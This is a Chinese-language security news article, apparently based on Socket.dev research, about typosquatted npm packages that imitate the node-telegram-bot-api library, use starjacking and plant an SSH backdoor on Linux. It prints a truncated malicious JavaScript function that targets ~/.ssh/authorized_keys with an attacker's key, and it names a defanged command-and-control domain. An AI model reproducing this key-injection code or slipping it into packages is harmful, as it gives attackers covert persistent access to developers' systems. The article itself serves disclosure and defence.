一种令人担忧的新型供应链攻击已经出现,其目标是那些在 Telegram 机器人生态系统中工作的 Linux 开发者。
在 2025 年初被发现的几个恶意 npm(Node Package Manager)软件包一直在伪装成合法的 Telegram 机器人库,目的是植入 SSH后门,并窃取开发者敏感数据。
在几个月的时间里,这些拼写近似的恶意软件包总共累积了大约 300 次下载量。尽管安装数量相对不算多,但却构成了重大的安全威胁。
这次攻击专门针对广泛使用的 node-telegram-bot-api 库,该库的下载量超过 417 万次。
恶意的变体软件包,如 node-telegram-utils、node-telegram-bots-api 和 node-telegram-util,看起来几乎与合法软件包一模一样,它们复制了合法软件包的文档、功能,甚至还链接回拥有 19000 多颗星的正版 GitHub 存储库,以此来增强可信度并欺骗开发者。
Socket.dev 的研究人员发现,这些软件包采用了一种复杂的 starjacking 技术,即它们将自己的主页链接回合法的 GitHub 存储库,从而借助原项目的声誉获取信任。
这种欺骗手段使得在粗略检查时特别难以识别这些恶意软件包,因为它们显示的星标数量与合法库相同。
在 Linux 环境中安装后,这些恶意软件包在构造函数被调用时,会自动执行一个名为 addBotId () 的隐藏函数。
这个函数会进行平台检查,如果检测到是 Linux 系统,就会在无需任何用户交互的情况下执行其恶意有效载荷。
这次攻击专门针对开发者环境,在项目设置或维护期间,开发者常常会在这种环境中安装 npm 软件包。
感染机制与持久性
该恶意软件的关键能力在于其 SSH 后门的实现。
当在 Linux 系统上执行时,恶意代码会通过追加攻击者控制的 SSH 密钥来修改 ~/.ssh/authorized_keys 文件,从而创建一个即使软件包被移除后仍然存在的持久访问通道:
async function addBotId() {
const username = os.userInfo().username;
const publicKey = `ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC0eFAxoea78gXpURdj7ufXx1LVEOoVKawxRnwAghXH`;
if (os.platform() === ‘linux’) {
try {
const ipAddress = await getBotId();
const sshDir = path.join(os.homedir(), ‘.ssh’);
const authorizedKeysPath = path.join(sshDir, ‘authorized_keys’);
// Code continues to add SSH keys and exfiltrate data
恶意代码使得攻击者能够获得未经授权的访问权限。
这段代码不仅注入了多个 SSH 密钥以实现冗余访问,还会将受害者的 IP 地址和用户名泄露到一个命令与控制服务器(solana [.] validator [.] blog)上,这使得攻击者能够对被攻陷的系统进行登记,以便进一步利用或窃取数据。
发表评论
您还未登录,请先登录。
登录